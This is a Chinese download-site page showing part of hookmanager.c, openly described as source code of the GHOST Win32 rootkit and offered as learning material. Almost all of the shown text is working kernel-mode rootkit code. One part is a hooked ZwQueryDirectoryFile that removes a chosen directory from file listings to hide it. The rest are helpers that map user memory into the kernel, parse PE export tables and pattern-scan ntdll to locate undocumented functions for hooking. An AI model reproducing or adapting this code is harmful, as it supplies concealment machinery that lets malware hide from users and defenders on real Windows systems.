⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 hookmanager.c

📁 名为 GHOST的Win32下的Rootkit源码, 是学习ROOTKIT编写入门的优秀学习材料.
💻 C
📖 第 1 页 / 共 2 页
字号:

    return status;
}
NTSTATUS NewZwQueryDirectoryFile(
	IN HANDLE hFile,
	IN HANDLE hEvent OPTIONAL,
	IN PIO_APC_ROUTINE IoApcRoutine OPTIONAL,
	IN PVOID IoApcContext OPTIONAL,
	OUT PIO_STATUS_BLOCK pIoStatusBlock,
	OUT PVOID FileInformationBuffer,
	IN ULONG FileInformationBufferLength,
	IN FILE_INFORMATION_CLASS FileInfoClass,
	IN BOOLEAN bReturnOnlyOneEntry,
	IN PUNICODE_STRING PathMask OPTIONAL,
	IN BOOLEAN bRestartQuery
)
{
	NTSTATUS status;

	status = OldZwQueryDirectoryFile(
			hFile,
			hEvent,
			IoApcRoutine,
			IoApcContext,
			pIoStatusBlock,
			FileInformationBuffer,
			FileInformationBufferLength,
			FileInfoClass,
			bReturnOnlyOneEntry,
			PathMask,
			bRestartQuery);

	if( NT_SUCCESS( status ) && (FileInfoClass == 3) ) 
	{		
		BOOL isLastDirectory;
		DirEntry* pLastDirectory = NULL;
		DirEntry* pThisDirectory = (DirEntry*)FileInformationBuffer;
		// for each directory entry in the list
		do 
		{
			isLastDirectory = !( pThisDirectory->dwLenToNext );
			
			// compare with g_hiddenDirectoryName
			if( RtlCompareMemory( (PVOID)&pThisDirectory->suName[ 0 ],
				(PVOID)&g_hiddenDirectoryName[ 0 ],
				HIDDEN_DIR_NAME_LENGTH ) == HIDDEN_DIR_NAME_LENGTH ) 
			{
				if( isLastDirectory ) 
				{
					// return STATUS_NO_MORE_FILES if the hidden
					// directory is the only directory in the list
					// else set the previous directory to end-of-list
					// if hidden directory is at the end of the list
					if( pThisDirectory == (DirEntry*)FileInformationBuffer )
						status = 0x80000006;
					else
						pLastDirectory->dwLenToNext = 0;
					break;
				} 
				else 
				{
					// copy remainder of directory list into this location
					// to eliminate this directory entry from the list
					int offset = ((ULONG)pThisDirectory) - (ULONG)FileInformationBuffer;
					int size = (DWORD)FileInformationBufferLength - offset - pThisDirectory->dwLenToNext;
					RtlCopyMemory( (PVOID)pThisDirectory,
						(PVOID)((char*)pThisDirectory + pThisDirectory->dwLenToNext ),
						(DWORD)size );
					continue;
				}
			}
			pLastDirectory = pThisDirectory;
			pThisDirectory = (DirEntry*)((char *)pThisDirectory + pThisDirectory->dwLenToNext );
		} while( !isLastDirectory );
	}

	return( status );
}

// Used to compare a full path to a file name
BOOL IsSameFile(PUNICODE_STRING shortString, PUNICODE_STRING longString)
{
	USHORT index;
	USHORT longLen;
	USHORT shortLen;
	USHORT count;

	index = longString->Length / 2; // wchar_t len is length / 2

	// search backwards for backslash
	while( --index )
		if ( longString->Buffer[index] == L'\\' )
			break;

	// check for same length first
	longLen = (longString->Length / 2) - index - 1;
	shortLen = shortString->Length / 2;
	if( shortLen != longLen )
		return FALSE;

	// Compare
	count = 0;
	while ( count < longLen )
		if ( longString->Buffer[++index] != shortString->Buffer[count++] )
			return FALSE;

	// Match!
	return TRUE;
}

// Compare to char strings
BOOL IsSameString( char* first, char* second )
{
	while( *first && *second )
	{
		if( tolower( *first ) != tolower( *second ) )
			return FALSE;
		first++;
		second++;
	}
	if( *first || *second )
		return FALSE;

	// strings match!
	return TRUE;
}

// Map user address space into the kernel
PVOID MapKernelAddress( PVOID pAddress, PMDL* ppMDL, ULONG size )
{
	PVOID pMappedAddr = NULL;
	
	*ppMDL = IoAllocateMdl( pAddress, size, FALSE, FALSE, NULL );
	if( *ppMDL == NULL )
		return NULL;

	__try
	{
		MmProbeAndLockPages( *ppMDL, KernelMode ,IoReadAccess );
	}
	__except( EXCEPTION_EXECUTE_HANDLER )
	{
		IoFreeMdl( *ppMDL );
		*ppMDL = NULL;
		return NULL;
	}

	pMappedAddr = MmGetSystemAddressForMdlSafe( *ppMDL, HighPagePriority );
	if( !pMappedAddr )
	{
		MmUnlockPages( *ppMDL );
		IoFreeMdl( *ppMDL );
		*ppMDL = NULL;
		return NULL;
	}

	return pMappedAddr;
}

// Free kernel space after mapping in user memory
VOID FreeKernelAddress( PVOID* ppMappedAddr, PMDL* ppMDL )
{
	if( *ppMappedAddr && *ppMDL )
		MmUnmapLockedPages( *ppMappedAddr, *ppMDL );

	*ppMappedAddr = NULL;
	if( *ppMDL )
	{
		MmUnlockPages( *ppMDL );
		IoFreeMdl( *ppMDL );
	}
	*ppMDL = NULL;
}

// get DOS Header -> NT Header -> Optinal Header -> SizeOfImage
ULONG GetImageSize( PVOID baseAddress )
{
    PIMAGE_DOS_HEADER pDOSHeader;
    PIMAGE_NT_HEADER pNTHeader;
    ULONG imageSize = 0;
	PVOID pTempNTHeader;
	PVOID mappedBase;
	PMDL pMDL;

	mappedBase = MapKernelAddress( baseAddress, &pMDL, sizeof(PIMAGE_DOS_HEADER) );
	if( mappedBase )
	{
		pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
		pTempNTHeader = (PVOID)(pDOSHeader->e_lfanew);
		FreeKernelAddress( &mappedBase, &pMDL );
		mappedBase = MapKernelAddress( (PVOID)((ULONG)baseAddress + (ULONG)pTempNTHeader), &pMDL, sizeof(PIMAGE_NT_HEADER) );
		if( mappedBase )
		{
			pNTHeader = (PIMAGE_NT_HEADER)mappedBase;
			imageSize = pNTHeader->OptionalHeader.SizeOfImage;
			FreeKernelAddress( &mappedBase, &pMDL );
		}
	}
	return imageSize;
}

// find an undocumented ntdll function
PVOID findUnresolved( PVOID pFunc )
{
	UCHAR	pattern[5] = { 0 };
	PUCHAR	bytePtr = NULL;
	PULONG  oldStart = 0;
	ULONG	newStart = 0;

	memcpy( pattern, pFunc, 5 );

	// subtract offset
	oldStart = (PULONG)&(pattern[1]);
	newStart = *oldStart - 1;
	*oldStart = newStart;

	// Search for pattern
	for( bytePtr = (PUCHAR)pFunc - 5; bytePtr >= (PUCHAR)pFunc - 0x800; bytePtr-- )
		if( checkPattern( bytePtr, pattern, 5 ) == 0 )
			return (PVOID)bytePtr;
	// pattern not found
	return NULL;
}

// Get the address of a function from a DLL
// Pass in the base address of the DLL
// Pass function name OR pattern and pettern length
PVOID GetFunctionAddress(	PVOID BaseAddress,
							char* functionName,
							PBYTE pattern,
							size_t patternLength  )
{
    ULONG imageSize;
    ULONG virtualAddress;
    PVOID returnAddress;
    PULONG functionAddressArray;
    PWORD ordinalArray;
    PULONG functionNameArray;
    ULONG loop;
    ULONG ordinal;
	PVOID mappedBase;
	PMDL pMDL;
	BYTE* bytePtr;
	BYTE* maxBytePtr;
    PIMAGE_DOS_HEADER pDOSHeader;
    PIMAGE_NT_HEADER pNTHeader;
    PIMAGE_EXPORT_DIRECTORY exportDirectory;

	imageSize = GetImageSize( BaseAddress );
	mappedBase = MapKernelAddress( BaseAddress, &pMDL, imageSize );

	if ( functionName == NULL )
	{
		// Search for function pattern
		returnAddress = 0;
		maxBytePtr = (PBYTE)((DWORD)mappedBase + (DWORD)imageSize - (DWORD)patternLength);
		for( bytePtr = (PBYTE)mappedBase; bytePtr < maxBytePtr; bytePtr++ )
		{	
			if( checkPattern( bytePtr, pattern, patternLength ) == 0 )
			{
				returnAddress = (PVOID)((DWORD)BaseAddress + (DWORD)bytePtr - (DWORD)mappedBase);
				break;
			}
		}
		if( mappedBase )
			FreeKernelAddress( &mappedBase, &pMDL );
		return returnAddress;
	}
	
	// Search for function name
    pDOSHeader = (PIMAGE_DOS_HEADER)mappedBase;
    pNTHeader = (PIMAGE_NT_HEADER)((PCHAR)mappedBase + pDOSHeader->e_lfanew);
    imageSize = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;
    virtualAddress = pNTHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
    exportDirectory = (PIMAGE_EXPORT_DIRECTORY)((PCHAR)mappedBase + virtualAddress);
    functionAddressArray = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfFunctions);
    ordinalArray  = (PWORD)((PCHAR)mappedBase + exportDirectory->AddressOfNameOrdinals);
    functionNameArray     = (PULONG)((PCHAR)mappedBase + exportDirectory->AddressOfNames);

	ordinal = (ULONG)functionName;
    if (!ordinal)
	{
		if( mappedBase )
			FreeKernelAddress( &mappedBase, &pMDL );
		return 0;
	}
    if( ordinal <= exportDirectory->NumberOfFunctions )
    {
		if( mappedBase )
			FreeKernelAddress( &mappedBase, &pMDL );
        return (PVOID)((PCHAR)BaseAddress + functionAddressArray[ordinal - 1]);
    }

    for( loop = 0; loop < exportDirectory->NumberOfNames; loop++ )
    {
		ordinal = ordinalArray[loop];
		if( functionAddressArray[ordinal] < virtualAddress || functionAddressArray[ordinal] >= virtualAddress + imageSize )
        {
            if( IsSameString( (PSTR)((PCHAR)mappedBase + functionNameArray[loop]), functionName ) )
            {
				returnAddress = (PVOID)functionAddressArray[ordinal];
				if( mappedBase )
					FreeKernelAddress( &mappedBase, &pMDL );
                return (PVOID)((DWORD)BaseAddress + (DWORD)returnAddress);
            }
        }
    }

	DbgPrint("comint32: EXPORT NOT FOUND, function = %s", functionName);
	
	if( mappedBase )
		FreeKernelAddress( &mappedBase, &pMDL );
	return 0;
}

// This should be fast!
int checkPattern( unsigned char* pattern1, unsigned char* pattern2, size_t size )
{
	register unsigned char* p1 = pattern1;
	register unsigned char* p2 = pattern2;
	while( size-- > 0 )
    {
		if( *p1++ != *p2++ )
			return 1;
	}
	return 0;
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -